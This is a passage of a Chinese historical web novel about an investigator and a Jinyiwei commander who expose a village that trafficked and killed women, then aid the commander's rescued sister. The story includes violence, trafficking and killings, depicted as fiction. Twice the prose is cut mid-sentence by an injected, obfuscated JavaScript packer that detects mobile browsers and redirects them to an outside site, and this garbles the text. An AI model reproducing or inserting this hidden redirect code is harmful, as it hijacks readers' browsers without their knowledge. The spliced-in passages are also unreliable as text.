素秉先看了一眼李灵濯,得到默许后才道:“死者姓孙,半月前失踪,连同他媳妇孩子也没了踪影。” 谢晦已追问:“孩子是男孩女孩?有几个?” “是两个女孩,”素秉顿了顿,声音压得很低,“原本该有三个的。前阵子村里有经验的婆子给他媳妇把脉,说她怀的又是个女胎。他气得当场动手打人,那婆子吓跑了,可他媳妇当时身子笨重……没保住。” 谢晦已缄默不语,半晌才沉声道:“没保住,她身体状况如何?” 素秉摇头:“他们说她是个哑巴,姓孙的没给她请过大夫。” 谢晦已不禁抬头看向那尊神像,“那两个小女孩有没有可能是被卖掉了?” “不清楚,不过我们已经派人去查了。”素秉答道。 谢晦已听着素秉的回答,心里隐隐有了猜想。随即她猛地转身,拔出李灵濯腰间的绣春刀,攥着刀柄,一步一步地迈向那尊神像。 “你希望真相大白吗?” 她似是在喃喃自语,又像是在问询神像背后的冤魂。话音未落,绣春刀已裹挟着呼啸风声高高扬起,继而宣泄着满腔悲戚,狠狠劈了下去。 刹那间,碎裂声骤然响起,仿若烧制好的釉器冰裂,如蛛网般,自刀劈之处疯狂生长,一头蔓延至头顶,一头延伸至足底。 “怎么是空心的?”李灵濯神色骤变,当即握住谢晦已的手将刀夺下,又将她护在身后。 开裂的地方越来越多,终于,在一阵震人心魄的轰鸣中,神像轰然倒塌。 那颗神首滚了很远,原本慈祥悲悯的面容,此刻失去了双眼,只剩下两个漆黑空洞的窟窿,像是在无声控诉这世间的不公。 最终飞尘散去,满地的陶土废墟上,一具尸体赫然显露。 谢晦已望着眼前惨状,幽幽叹息:“果然是真人,若非如此,又怎会雕出这般栩栩如生的眼眸?” 地上的女尸七窍流血,双目圆睁,满脸尽是不甘与怨愤。 谢晦已缓步上前,俯身合上了女尸的双眼,随后脱下自己的外衣,默默地盖在女尸身上,为其遮蔽这世间最后的羞辱。 “李大人,你叫村民进来辨认吧。” 7. 夜行一善 几名暗卫与村民交谈,谢晦已站在一旁静静地听着,始终没有吭声。 那村长是个面相淳朴的,此时一脸担忧地说:“孙家的那两个女娃娃去哪了,俺们也不晓得哇。大的今年十二,小的好像是九岁?” “你们村子里打光棍的这么多,难道没有人上门说娃娃亲?我怎么不信你们不清楚她们的下落?”素秉问。 “嘿,你这个木头疙瘩问的什么问题?俺们结亲怎么会跟同村人啊?生出来傻子可怎么办?” 村长转了转眼睛,目光忽然落在谢晦已身上,“你们这个女人卖不卖啊?” 素秉不可置信地看着他,半晌才憋出来一句话:“你知不知道,俺是那个脾气最好的?” 话音未落,两把刀从不同方向飞了过来,精准地钉在村长耳畔的篱笆上。 村长瘫坐在地,下襟瞬间洇出大片水渍,抖如筛糠:“俺招俺招!求求你们留俺一条命啊!那两个赔钱货,鬼知道她们还能引来你们这群瘟神!” 素秉皱着眉,继续质问道:“快说!人到底去哪了?” “大的那个嫁给村东头那个鳏夫了,嫁过去一年了还不下蛋,上个月被休了,她抬不起头做人啊,在村口投了井。” 村长咧着嘴,语气像在谈论牲口,“小的那个被大的那个带坏了名声,前些日子被送去供给山神了,尸首现在还葬在树里呢,也算有个善终。” 素秉气得浑身发抖,一脚踢在他膝盖上:“我朝废除活人殉葬都多久了,你们还敢用这种私刑!那个女孩才多大!” “哎哟,哪里有错啊?来了月信就能下蛋了,这还能叫女孩……” “接着审,别停。” 谢晦已忽然打断他的话,转头看向素秉,“既然他们不与同村人结亲,那么多出来的本村适龄女子怕是早被卖出去了。他定然知晓那些人的下落。” 她收回匕首,声音冷得像淬了冰,转身要走,“李大人,我不随你去下一个村子了。” 李灵濯不禁发问:“你要去做什么?” “回城。” “我们不是刚出来?” “有正事急着要办,”谢晦已直视他的双眼,略带打趣道,“这些女子可都是无用之人,李大人总不能匀出心思放在她们身上吧?” 言毕,她从木桩上解下雪影的缰绳,打算带它朝着村口走去。然而雪影却嘶鸣一声,几步路走得磨磨蹭蹭,似是很不情愿从主人身边离开。 “罢了,我也不愿强马所难。” 谢晦已直接撒开手,牵起一旁树下的灰色斑驳小马,拍了拍它的脑袋:“你跟我走。” “谢见黎。” 李灵濯快步跟了上来,一把扯住她手中的缰绳,直言不讳道:“你见一个便管一个,凭什么保证每次评判都能不失公允?情境千差万别,人心深浅不一,你次次抉择不同,长久以往必生怨念,那会是你想看见的公道?” 听见这话,谢晦已目光漫不经心地扫了他一眼,“那你凭什么保证,律法一经颁布,必能适合千差万别的情境? “李大人信赖官府,信赖律法,可青州府的前任知府,是青州案的主使。这种作恶者执掌的律法,不过是面子上的妥善处理,细究之下能是什么好东西?” 见李灵濯还想说什么,她抬手按在他的双唇,“还有,李大人也行了特例。有道是‘上梁不正下梁歪’啊,你堂而皇之地带我走了,就不怕其他官员有样学样?青州官员的后院塞得下吗?” 李灵濯眼底的幽深翻转了几圈,最终捏着她的手腕,缓缓开口道:“官员从上到下已经换一批人了,你如今还想改变什么?” “李大人瞧不出来?” 谢晦已将手抽出,又一次握住了小灰马的缰绳。 “那神像中的女子,是靠什么强撑到最后?她杀了人本该获得解脱,又为何不拖着病躯逃出大山?她是奄奄一息了,可她从未奢望过跑去就医,这是为什么?难道她愿意留在逼仄的神像里等死吗?还是她对亡夫心怀愧疚,非要服毒殉情?” 李灵濯微微一怔,脑海深处忽然翻涌起多年前的苍白回忆。 母妃凄厉的哭声、血溅经幡的那场谋杀,旷野的风在毛毡外戛然而止,高高堆砌的石堆轰然倒塌…… 母妃未说完的恨、溢于言表的恨,在这一刻如丝线般忽然崩断,落在眼前,便如谢晦已身上的血迹,瞬间刺痛了他的双眼。 他直直地看着谢晦已,既是询问她,也是在询问那个永远等不到的答案:“就算祸事平息,让她们重回故土,也不是一个好交代?” “死人的骨头一把火烧都烧不断,而活人的骨头却无法在人言里站稳。李大人,活着比死亡艰难多了。” 谢晦已不无讥讽地笑着,“你今日是带着官兵来的,等案情的布告贴满城墙,那些被你‘解救’出来的女子,有一个算一个……” 她仰起头,目光掠过远处祠堂的飞檐。 “会被你再次丢进尘世间的泥潭。最终,她们会不堪其辱投河自尽,而你会在众人的恭维声中,遗憾地说一句‘我已仁至义尽’。最终,你从未救人,却应得尽得。 “再滔天的祸事,也应该把受害者的名姓与相貌摘掉。只要多这么一小点的举措,就能真正救下许多人,李大人觉得呢?” 李灵濯下意识地抓住了她的手,也是在这一刻才觉察到,他们的指尖竟是同样的冰冷。 “所以换作是你,逃出生天后你会不分敌我,杀尽所有人以作灭口?” 谢晦已笑而不语,骑着小灰马转身消失在山林尽头。 *** 夜幕低垂,谢晦已换了一身黑衣,推门步入了庭院。 流云浮月,有一抹人影在腊梅树下,正是素秉。 察觉到谢晦已疑惑的目光,素秉尴尬地打了个招呼:“谢小姐,是主子令我留在主院,确保您的安全。” 谢晦已心里有数:“外围不是只剩下最后一处村庄?你家主子傍晚时就以夜猎为名带人进了山,怎么还没归来?” 素秉不敢怠慢:“正因是最后一处村庄,主子打算诱敌深入,将官府的一众官员都带了过去,准备守株待兔。” 不出意外的话,李兰畹应当也在那处村子里。李灵濯必是另有所图,在进入情形复杂的深山之前,将外面的麻烦一次清空,也符合他的作风。 谢晦已点点头,随即抬腿朝门外走去。 素秉赶忙伸手拦住她:“谢小姐,主子特别交代,今夜危险,不能让您跟随。” “谁说我要与他同去?若是为了这个,我大可不必回城,”谢晦已按下他的手臂,“我要去城中一趟,你来得正好,记得带上令牌随我走。” 青州多山,城池深陷盆地,冬夜总被阴云裹得严严实实。谢晦已脚步匆匆,素秉小跑着跟在后面,最终在城西的一处宅邸门前停下。 张宅的大火已被扑灭,然而由于张大人身故,相关案件暂且搁置了。尽管官府尚无定论,但消息早已不胫而走,目前张宅上下人心惶惶,焦急等待着官府的判决。 “谢小姐,您是想做什么?”素秉满腔疑惑。 谢晦已从袖中掏出了那枚红玉佩,在素秉面前晃了晃。 “这东西我看不懂是什么纹样,你且与我说说它的来历?” 她意味深长地笑着,“看你的神情,它应当很值钱吧?不与我说实话的话,明日我便将它当掉。” 素秉欲哭无泪,后悔自己怎么就接了这个差事。 “谢小姐,您常年待在青州城有所不知,这上面刻着的是螭虎纹,这是圣上赐给主子的,满朝文武能佩戴此物的屈指可数。您要是当了它,那可真是犯了杀头的大罪!” 谢晦已在掌心掂了掂分量,又慢悠悠塞回袖中:“既是御赐的,那是不是意味着见此物如见本人?” “是,这是主子的贴身之物,主子出入官府时有不少人都见过。” 说到这里,素秉心里“咯噔”一声,连忙追问:“谢小姐,您想用它做什么?” 谢晦已不语,抬手敲响了张宅的大门。 “谁呀?”一名侍卫应声开门。 院内三五名家丁身着缟素,听见声响,均警觉地抬起头,发觉门外的来者是一男一女。男子神情如丧考妣,不知是不是来讨债的。女子则气质非凡,眉宇间透露出一抹精明。 侍卫的目光在他们之间徘徊,警惕地出言询问道:“你们是何人?” “官府查案。” 谢晦已声音冷峻,一边说着一边扭头示意素秉:“素秉,将官府的令牌拿给他看。” 素秉极不情愿地将腰间的东西摘下来,随即举到侍卫面前,“官府查案,按照谢小姐的指示行事。” 侍卫仔细打量着那枚令牌,联想到近期青州城内流传的种种传闻,他心中不由得升起一股寒意:“谢小姐,您深夜造访有何吩咐?” 谢晦已淡淡道:“张大人虽已亡故,但他的家眷罪责难逃,去请你们府上主事之人与我一叙。” 片刻后,夫人赵氏与女儿战战兢兢地步出屋门,在庭院里见到谢晦已时,她们恭敬地行礼道: “见过谢小姐。” “不必多礼。” 谢晦已上前一步拉起她们,意外瞧见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875684|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了张小姐手腕上的伤痕。 于是她看着张小姐的双眼,温言开口道:“前些时日,你父亲有意将你献美于李大人,对吧?” 提及此事,张小姐浑身猛地一颤:“谢小姐,我不敢肖想有主之人,更不敢高攀。当日不敢,如今依旧不敢。” 身旁的赵夫人也以为谢晦已想落井下石,这会儿连忙替女儿澄清: “谢小姐,他们男人喝多了说些胡话,您可千万别往心里去。您是李大人的救命恩人,论情谊深重,旁人无论如何也越不过您。” “二位不必如此紧张,我并非为这种无聊之事登门拜访,更不会刁难你们。” 谢晦已意识到她们会错了意,不得不解释了几句,而后又柔声道: “张小姐被当作筹码送来送去,可见也活得身不由己。我想着,你从前可曾定下过婚约,或是有心仪之人?如今这个节骨眼上,尽早说出来,我倒还能替你做主。” 张小姐脸色一白,神情哀戚地摇了摇头:“没有。父亲从不准我接触外男,一门心思只想让我高嫁,哪怕是给人做妾。所以,我前些时日真不是有意冒犯。” 按照盛朝律法,外嫁女不受娘家牵连。谢晦已只是觉得她还年轻,摊上那么个爹也真是倒霉。可听张小姐这样说,她原本的打算倒也落了空。总不能为了躲罪,将人稀里糊涂地推进另一个火坑。 “既然没有亲事,那便罢了。” 谢晦已转头看向赵夫人,不无威胁道: “张大人近年来的所作所为,我想你们应该很清楚。官府尚未定下结论,但不出明日,是抄家充公,还是流放边疆,一切都将板上钉钉。我今夜是替李大人走一遭,还望你们守口如瓶。” 赵夫人听出她的弦外之音,缓缓抬起头:“谢小姐,您的意思是,我们还有商量的余地?” “自然。李大人身居高位,人前人后都有不少人盯着,自然不便插手此事。我今夜前来是受谁委托,夫人一定明白。” 谢晦已一边说着,一边取出了那枚螭虎纹玉佩。 赵夫人原本还将信将疑,一看见这玉佩,当即拉着张小姐跪了下去,“不知谢小姐有何吩咐?力所能及之事,我定能办妥。” “官府办案不能有失公允。张大人的那些腌臜事,虽说与你们无关,但惠曾及家人,你们也并非全然无罪。我这有一条出路给你们,算是让你们能以功抵罪,堪堪留下一条命。”谢晦已说。 赵夫人答道:“我们明白。多谢李大人、谢小姐能为我们网开一面,我们张家上下但凭谢小姐差遣。” 张小姐也跟着回答道:“但凭谢小姐差遣。” “这些虚礼免了吧,”谢晦已抬手示意她们站起来,“话不多说,张大人私产何在?” *** 李灵濯处理掉山间刺客,押送几名罪臣返程时,于城门口愣了一瞬。 只见整座青州城灯火通明,犹如深山之中的不夜城,家家户户挂起了节庆的红灯笼。深冬腊月的喜气提前来临,街上隐约有锣鼓声声,令他产生了深深的错愕感。 “墨承,”他喊来身侧的暗卫,“抓个人问问,发生了什么事情?” 墨承略一点头,策马朝前走去。 那有三三两两的百姓聚集议论,个个红光满面,仿佛发了一笔横财。打听到了消息,墨承一副见了鬼的神情,迅速赶回至李灵濯身侧。 “主子,他们说您开私库发钱了,家家户户都有份。” 李灵濯微微一怔,只一瞬便猜到了始作俑者,当即策马而去。片刻后,他远远望见了官府门前那道清丽身影,眼中藏着晦暗不明的光芒。 “某人又在城中兴风作浪了?” 谢晦已倚在官府门外,似是等了他许久,听见这话不禁转过头,脸上带着若有若无的笑。 “李大人,我可好心提醒你,可别得了便宜还卖乖。我以你的名义在城中当散财童子,于你的官声大有裨益。我向来不做善事,今夜为你破例一次,你好自为之。” 官员们被谢晦已挨家挨户敲门抓来办公,百姓们连夜排队领钱。如今的官府门庭若市,在外人面前,李灵濯还是收敛了几分,只克制地挽住她的衣角,目光低垂。 “谢小姐做这样费力不讨好的事,意在何为?难道既不想邀功,也不想讨赏?” 谢晦已轻扬起唇角,不自在地抽出衣角:“回府再说。” 李灵濯觉得她的态度极为反常,故而再次抓住她袖口,继而向下拽了拽。 只听“啪”的一声,一厚摞子银票就这样掉落在地。 他静静地看着她,挑了挑眉。 8. 恨不逢时 谢晦已大大方方地将东西捡了起来,随后目光坦然,面不改色心不跳地说: “重申一遍,我以你的名义给百姓们发钱,将贪墨还惠于民,既有功劳也有苦劳,所以我只是拿走我应得的报酬。再者说,我也是青州百姓,拿走这份钱天经地义。” 她余光瞥见那些喜气洋洋的百姓,竟是越说越有底气。 “出了张知府这样的事情,百姓难免对官府降低信任。李大人坐镇青州,让他们心安才是最要紧的。还望李大人抓大放小,不必在乎这些细枝末节。” 李灵濯看着认真解释的她,唇角一勾,目光不觉间柔和许多:“还有呢?你提前回城,也有为今日之事做了结的打算吧?” “自然。” 谢晦已正了正神色,将今夜的所作所为和盘托出。 “今夜之事是赵夫人与张小姐出的力。村子里的那些女人身无长技,更无自保能力,官府纵然有意以钱财补偿,也只会让她们成为被人觊觎的肥肉。所以我认为,不若就让这些罪臣家眷,代替官府接管她们。” “罪臣家眷?你如何界定这一范围?”李灵濯问。 “主犯家眷与从犯家眷定然是不同的,我主张让那些轻罪家眷以劳抵罪。从前也有过国库空虚,令轻罪者捐钱捐粮抵罪的情况,所以这不算是先例。” 谢晦已转过头去,看向那些打算盘打得飞快的官员,与街道上长久不灭的灯火。 “官府补贴的银钱折成几间铺子,由罪眷打理,所得交给这些女子。一来,这些罪眷识字明理,那些女子跟着习得本领,日后若想另走他乡隐姓埋名,也有了立身之本。 “二来,青州府沉疴已久,想来官府不见得有多少闲银,百姓也不见得有多么信任。如此以贪安民,有罪眷、民间与官府三方相互牵制,那些罪产充公后去了何处,百姓也能一目了然。他们心里安稳,才会少说怨言。” 李灵濯听罢,不禁将她的手攥得更紧了些,“这就是你在林子里想与我说的话?” “是。” 谢晦已偏头看他,目光格外坚定。 “法理是人定的,你与官府奉行的永远是那一套理论,但是她们不属于‘人’。没有用处的普通的她们,不知法也不制法,这辈子除了成为受害者,再无站在公堂之上的可能。你说得对,我不能见一个救一个。” 她顿了顿,随后垂下了那双精明的眸子,“你单单医治好青州顽疾,不过是一件无功无过的功绩。君子论迹不论心,这是李大人最为擅长的事,只看你想与不想了。” “怎么不说完呢?” 李灵濯轻笑一声。 “此事人前人后都由你来出面,虽是挂了我的名,但无论是张家人还是青州人,都会记得你的大恩大德。一个为民请命的弱女子,一个远离政治的女菩萨,先前在官府被你安抚的百姓,经此一事怕是要把你供起来了。” 他俯下身,贴在她耳畔轻轻说道:“有你事先发钱给城中百姓,新规推行的阻碍将大大减少。此事若成,日后挟持民意倒逼官府之事,还会少吗?会有多少人天生就站在你那边?深谙其道者,分明另有他人。” 谢晦已抬眸一笑,伸手拍了拍他的脸颊,“李大人忘了,我的名声可跟你绑在一块呢,你还有什么不满意的?” “我哪敢不满?” 李灵濯拉着她的手腕,将她拽进自己怀中,“我很庆幸,对你而言我还有些用处。” “真有这么可怜?” 谢晦已故作惊讶地看着他,显然没明白他到底在自我感动什么,“那几日前利用我的是谁?难道这就叫可怜之人必有可恨之处?” 李灵濯哑然失笑,随后目光复杂地对她说道:“我可能真需要你帮个忙。” *** 谢晦已见到李兰畹时,心中倏地升起一个念头:她定是李灵濯的妹妹。 她生得一双明净如杏的眼睛,相貌与李灵濯毫无相干,但她身上那股锐气绝不逊色于他。 瞧见谢晦已随人步入屋内,却没随人离去,坐在榻上的李兰畹警惕抬头,全身瞬间紧绷,“你是什么人?莫非是那位谢小姐?” 为了表示自己并无敌意,谢晦已双手摊开,站在门旁没有再进一步。 “正是。想必你兄长已经向你交代过了,我与你一样,同是沦落于青州城的苦命人,你无需对我如此戒备。” 李兰畹紧握拳头,视线牢牢锁在她脸上,“你与我何来相似?你是出于客套,还是真的与我同病相怜?” 谢晦已照旧未移半步,与她继续解释道: “这种事情还能作假?我若真想搏你同情,何必用这种自损名声的方式?你兄长‘以权压人,逼我留下’不是更好的理由?” 李兰畹又疑神疑鬼地追问: “你若真有那般过往,又怎会选择再次依靠男人?你瞧着过得光鲜亮丽的,却也是攀附于我兄长谋生存,哪里有什么立足之本,敢对他说半个‘不’字?” 听到这里,谢晦已忽然发出一声轻笑,随即拖过一张绣墩,端坐在房中。 “我不方便讲,但这不妨碍我听。我知道你很需要一个倾诉的对象,恰好,我愿洗耳恭听。” 李兰畹愣了一下,旋即低下头去,“我跟你有什么可说的?” 见她语气和缓不少,谢晦已斟酌着话语,再次试图与她交谈。 “那你又是为何讨厌你兄长?总不能是因为他幼时得罪过你吧?据我所知,你应当很小就在这边了。” 李兰畹照旧低着头:“是,我从有记忆起就在那个村子里。直至今日,我才知晓我生在京城,并有一位担任指挥使的兄长。” “我看得出你对他的到来颇有微词,”谢晦已静静地望着她,一针见血,“你是恨他来得不巧,还是恨他来得太迟?” “这两者有什么区别?” 被触碰到心底的痛楚,李兰畹咬紧牙关,抬头愤懑斥责道: “我恨他无能,恨他为何现在才寻到我,又让我知晓真相!他既然不能弥补我过往十年的苦痛,为何要假惺惺地前来寻亲,又对我假惺惺地嘘寒问暖!有从前的遭遇在,难道我不能恨他吗?” “你当然可以,恨谁都是你的自由。” 看着李兰畹浑身是刺的模样,谢晦已仿佛看见了初到青州的自己。 艳阳高照,曾拨弄琴弦的双手笨拙地割着猪草,咒骂声中的一鞭又一鞭,血汗滴入泥土,田野里的稻穗一茬又一茬。 夜复一夜,她将头蒙在被子里止不住地啜泣,却只能哼唱着亡母的枕边歌谣,不敢让往事入梦,也不敢真的回到举目无亲的京城。 她漂泊无依,纵然是站在驿站的岔路口,也永远道不出自己的归途。麻木如她,最终摒弃掉累赘的哭喊,省下气力向上攀爬,永不知足,永不驻足。 可她也知道,并非所有人都要这般愤世嫉俗地活着。于是,她既是对李兰畹,亦是对着自己,缓缓道出了尘封十年的心声。 “知道吗,十年前在猪圈里醒过来时,我也恨透了这个世道。”谢晦已垂眸摩挲着手心的薄茧,声音像是从很远的地方飘来。 “有人卑贱如你我,自小被当作奴隶任人践踏。亦有人高贵如神,被仆从锦衣玉食地供着,一辈子脚不落地。 “世本不公,冷暖自知,你兄长的愧疚弥补不了你的痛苦,所以我也不会替他说嘴,催着你去原谅。”谢晦已说。 “可是你既能替他来,就并非全然站在我这边。” 李兰畹仰起脸,只看了须臾便移开目光,像是久居黑暗的人窥见了太过明媚的朝阳。 “你是希望我接纳眼下的真相,老老实实地作为李小姐活下去吗?”她问。 “老老实实?李兰畹,你会甘心吗?” 谢晦已轻展笑颜,将野心明晃晃地摆在眼底,犹如伺机而动的狼。 “我知道真相有时候比伤疤更疼,但是你又是幸运的,回到正轨便能握住下一步的筹码。你若是个聪明人,自然知晓该怎么利用你兄长的愧疚,令他替你做事。” 李兰畹深叹一声,照旧未能全然信服于她。 “你能这样说,想来是践行者了。你口口声声说你与我同病相怜,可我见你如此伶牙俐齿,想来编个故事也不是难事。你的话也自相矛盾,倘若你对我兄长有所图谋,又怎会平白无故跑到我这里大发善心?” “李小姐不信任我?”谢晦已问。 “你信任我兄长吗?”李兰畹不答反问。 谢晦已看了她半晌,忽然笑了一声,随后抬手解掉上衣,一件接着一件,在李兰畹面前脱了下去。 “你这是做什么?你……” 李兰畹张了张嘴,刚想出言制止,却被谢晦已身上的伤痕惊得说不出话。 那是数条陈年伤疤,来自于粗粝的藤条,如今在她后背上留下不可磨灭的痕迹。 “我是个幸运的,买我的那户人家本想求子,却误买了我,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我以为这就是女人,村子里的女人凭空出现,是因为她们被大山生养出来,是一块块顽石。村民们代代开山辟路,所以女人也要生剖肚皮,延续村落的代代香火。 “可是,我稍大一些时,瞧见了水缸里接连溺亡的女婴。我那时想不通,既然他们恨透了女婴,为什么独独留下我?为何他们对我的棍棒毒打从不留情,却总会施舍般给口吃的,让我吊着一口气活下来?” 李兰畹苦笑一声,“你知道吗,我其实怀疑过自己的身世,可是我不敢去探寻真相。我害怕我是被亲人抛弃的,若是那样的话,我逃出去有什么意义呢?” 谢晦已没有打断她,在一旁默默倾听着。 “为什么兄长非要这个时候让我知晓真相呢?我知道我不该怨他,可是我做不到毫无怨言。” 李兰畹的泪水一滴一滴砸在被单上,情绪也跟着越发高涨,“他为什么……为什么来得这样迟?这十年的安稳生活,我该向谁讨还?对不起,我实在是……说不下去了,我实在是想不通。” 她歇斯底里地哭泣着,在谢晦已面前,在一位陌生人面前,在一位说着与她同病相怜的女人面前,终于将那些难以启齿、久久萦绕的噩梦倾泻而出。 而后,又问出了所有人都会问的那个问题。 “就算出去了,我又该怎么活下去?” 谢晦已步至李兰畹面前,轻叹一声,缓缓将她拥入怀中。 “兰畹,你已经逃出来了,无论是崎岖山路还是平坦通途,你再也不用回头去看了。你若是不愿对旁人坦诚相告,你兄长那边我会替你应付过去,从今往后你只是锦衣卫指挥使的妹妹,你明白吗?” “不,谢小姐,你看看我,”李兰畹抬起头,轻轻掀开被子,露出微微隆起的腹部,“它还在,你要我如何忘记过往?” 谢晦已的手轻轻抚过她的腹部,眼神中闪过一丝狠戾,“除了村庄里的人,还有旁人瞧见吗?” “应该无人察觉,”李兰畹迟疑地摇了摇头,“它还尚小,不细看是难以发现的。” 谢晦已温言劝慰:“无论如何,这只是一碗红花的事,你可以悄无声息地解决它。但风险依旧存在,体虚、失血,甚至永远不会再成为母亲,如此你还愿意吗?” “但我更怕的是带着这个孩子活下去,”李兰畹的神情虽显懦弱,但她的语气却异常坚定,“我不会生下一个不爱的孩子,求你帮帮我。” 谢晦已摇了摇头,对她叮嘱道:“求我做什么?你的肚子本该由你自己决定,我只是搭把手。今夜之后,这个秘密我们都烂在肚子里,不要再对任何人说起,知道吗?” 李兰畹满腹疑惑地望着她:“你为何要帮我到这种程度?此事本就凶险,倘若我有什么闪失,我兄长必定会迁怒于你。” “我们憎恨的是同一群人,除去你的障碍,也是为我自身求得解脱。” 她摸了摸李兰畹的脑袋,随后轻声询问:“牢里关了不少人。告诉我,知道你怀有身孕的人都长什么样子?” 9. 照单全收 素秉从官府出来时,正巧撞见墨承和其他暗卫。 “你们怎么在这儿?不是该在牢里审问今晚抓的犯人吗?”素秉皱眉问。 墨承一脸疑惑:“不是主子让谢小姐来灭口吗?我们回来复命。” 素秉一拍脑袋:“糟了,你们不知道主子把玉佩给她了。牢里还有活人吗?” 一名暗卫答道:“那些贪官都还活着,村里抓的都死了。” 他的语气带着强烈不满,“张大人遇害、山村起火、张知府人头落地,哪件不是因她而起?就这么由着她为非作歹,也没人劝劝主子?” 素秉冷声打断:“主子都默许了,你想抗命?” 暗卫低下头:“不敢。你这是要去哪?” “去谢小姐那,确保她的安全。”素秉回答道。 “我替你去,”暗卫说,“你们不敢严加看守,早晚要出事。” *** 处理掉牢里的隐患后,谢晦已回了自己的屋子。可正当她趁着夜色擦拭匕首上的血污时,屋外骤然传来一阵细碎的脚步声。 多年来的山野生活,令她适应了在夜幕中活动,因此虽然她未曾习武,但听力却远胜常人。正如此时,她听得出来那是一个男子在刻意压制脚步声。 她警惕地转过头,同时有意放轻自己的呼吸,装作对一切浑然不觉。 借着朦胧月色与倒映在门扉上的黑影,她瞥见了那人手中紧握着匕首,缓缓地沿着门边移动,直至轻触门闩。 那一刻杀机四伏。 谢晦已不禁再次紧握匕首,悄无声息地退至柜后。 “一羽,你怎么在这?” 熟悉的声音在门外响起,随即门上的影子分裂为二,宛如皮影戏般进行至下一幕。 谢晦已没有丝毫松懈,屏气凝神地观察两人的举动。 只见那名男子退至一侧,向李灵濯恭敬地解释道:“主子,属下今晚是接替素秉的职责。” 李灵濯抬手轻触门扉,淡然说道:“今夜不需要了,你退下吧。” 然而,一羽却纹丝不动,坚持道:“主子,属下还有一事须得禀报。” 李灵濯缩回手,转过头来,平静地说:“讲。” “属下以为,如今李小姐已然找到,主子不应再节外生枝,而这位谢小姐一再狐媚惑主、祸乱朝纲,恳请主子爱惜羽毛,尽早处置她。” 外面一时寂静无声,旋即传来李灵濯的厉声斥责。 “以后再说这种话,不必来见我。” 谢晦已轻敛目光,将匕首藏于枕下,而后蹑手蹑脚地卧回被褥之中,装出一副沉睡的样子。 紧接着,李灵濯推门而入,瞧见躺在床榻上的身影后,他的步伐变得格外轻柔。 谢晦已闭着双眼放缓了呼吸,感受着他的声音越来越近,他的手也早先一步触碰在自己的额头上。然而出乎意料的是,虽是从冬夜里来,他的手却很是温暖。 谢晦已微微蹙眉,随即睁开眼睛,故意说了声:“凉。” “怎么会呢?我明明在外头暖了好一阵子。” 李灵濯自顾自地依偎进来,将谢晦已搂在怀里,低语道:“是我惊醒你了?” 谢晦已闭上眼睛,轻轻地笑了笑:“明知故问。这么晚了,李大人是有什么要事?” “你就没别的事情想与我说?”李灵濯的手紧了几分,语气略带无奈。 “有,”谢晦已抬头看他,眼睛格外明亮,“有关于兰畹。” 李灵濯被她打断了情绪,不禁抬手捋过她的青丝,“既然谢小姐主动提起,不妨与我说一说吧。” 谢晦已早已编好了说辞,此时与李灵濯半真半假地交代道: “兰畹尚需时日来平复心境,还请李大人在青州多逗留几日。你以寻亲为由开罪不少人,眼下不知有多少人打算对她下手,从长远来看,你不能急于一时,免得她起了抵触心思,再也不肯随你回京。” 谢晦已顿了顿,又故作埋怨地说:“她被你今夜这一出搞得魂不守舍的,对你是又怨又怕,好在她对我没有那般防备,与我说了好一通话。” 李灵濯温声道:“辛苦谢小姐了,她都对你说了什么?” “兰畹说,她从小就被村子里的一户人家收养,那对夫妇年纪大了膝下无子,当初被人贩子哄骗,当兰畹是个男孩才买下来的。他们这些年一直拿她当男人使,不敢把她嫁出去断了香火,也不敢叫旁人知道他们家养了个女孩,怕丢人呢。” 谢晦已轻笑着,又继续说道:“我问她,再晚个几年,他们是不是还要偷偷给她买个细皮嫩肉的赘婿?她说她才不急着嫁人呢,不过,倒也怕你们京城规矩多。所以我想替她打听一番,李大人寻她回去,不会是想让她去联姻吧?” “怎么会呢?这个主我还是能做的,”说罢,李灵濯忽然叹息一声,“算是我对她的补偿吧。” 谢晦已觉得他这种情绪极为少见,不禁打趣道:“真难得,李大人也有为琐事发愁的时候?” 李灵濯轻抵在谢晦已的额头上:“嗯,她能流落青州,说起来与我有关。” 谢晦已抬起头,疑惑地看着他的眼睛:“她不是幼时走失的吗?那个时候你才多大,怎么会跟你有关?” 李灵濯解释道:“准确来说,这件事情牵扯到了两代人。我父亲后宅有不少女人,其中有一位是侍女出身,因产下一女而被他擢升为侧室。有子嗣傍身,府中上下对她倒也恭谨,她们的日子过得还算安稳。” “这个女儿就是李兰畹吗?”谢晦已问。 “是,”李灵濯点头,“我还有一位异母兄弟,年幼于我三四岁,被娇惯长大,身份尊贵却性情顽劣。一日他手持弹弓射鸟,因技艺不精屡屡失手,盛怒之下,恰逢那侍女携兰畹散步,他便将弹弓对准了她。” 谢晦已料到了结局,却还是静静地听了下去。 李灵濯说:“那侍女护女心切,眼睛当场被他射瞎。至此,我父亲对她心生厌恶,连带着兰畹也失去了关照。原本我无心也无力插手,直到有一天他将弹弓对准了我的母亲。” 谢晦已眉心紧锁:“他性情如此狠毒,你没有将他的腿打断?” 李灵濯抚平她眉间的皱纹:“他失去了左腿,请谢小姐放心。当时是我设计让他残废,但他母亲却误以为是那侍女所为,所以她趁着我父亲游历江南之际,将那侍女和兰畹推进了绥江。因她们人微言轻,这件事情最终不了了之,如今也只有我还在追查。” 谢晦已追问道:“那你为何现在才来到青州城?” 李灵濯看着她的眼睛:“我原先并不知道她还活着,最近偶然查到一条线索,说是绥江边的一个农妇曾收养过女婴,后来又被人贩拐走。我见那描述与兰畹吻合,于是追踪至青州,由此又牵扯出了张知府的事情。” “行了,兄妹情深的戏码你演给青州府的那些人看,”谢晦已根本不信他的鬼话,“兰畹知不知道那段往事?” 李灵濯微微颔首:“知道。不过没有与你说得这样详细,她当时心绪极差,知晓真相后险些砍死我的暗卫。” 